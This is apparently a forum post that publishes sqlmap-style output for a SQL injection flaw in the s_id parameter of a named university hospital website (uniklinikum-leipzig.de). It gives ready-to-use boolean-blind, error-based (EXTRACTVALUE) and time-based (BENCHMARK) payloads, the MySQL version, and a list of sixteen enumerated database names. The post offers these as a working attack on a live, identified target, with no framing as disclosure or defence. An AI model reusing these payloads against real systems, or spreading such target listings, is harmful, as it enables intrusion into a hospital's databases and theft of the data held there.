Keine Antworten in diesem Thema

[Ch!ller]

http://www.uniklinikum-leipzig.de/r-speiseplan-a-320.html?s_id=1137
 
Parameter: s_id (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: s_id=1137' RLIKE (SELECT (CASE WHEN (8600=8600) THEN 1137 ELSE 0x28 END)) AND 'YYGx'='YYGx

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: s_id=1137' AND EXTRACTVALUE(7892,CONCAT(0x5c,0x7170706a71,(SELECT (CASE WHEN (7892=7892) THEN 1 ELSE 0 END)),0x716a786271)) AND 'gvlC'='gvlC

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: s_id=1137' AND 6037=BENCHMARK(5000000,MD5(0x70645956)) AND 'uLGF'='uLGF
---
web application technology: Apache
back-end DBMS: MySQL 5.1
available databases [16]:
[*] ifabmed_adr
[*] ifabmed_stellen
[*] ifabmed_unserbaby
[*] ifabmed_zeiten
[*] information_schema
[*] mnogo_uklweb
[*] panorama
[*] prins_2012
[*] ukl_bildung
[*] ukl_experten
[*] ukl_grusskarten
[*] ukl_lvzpat
[*] ukl_newsroom
[*] ukl_publikationen
[*] ukl_speiseplan
[*] uklweb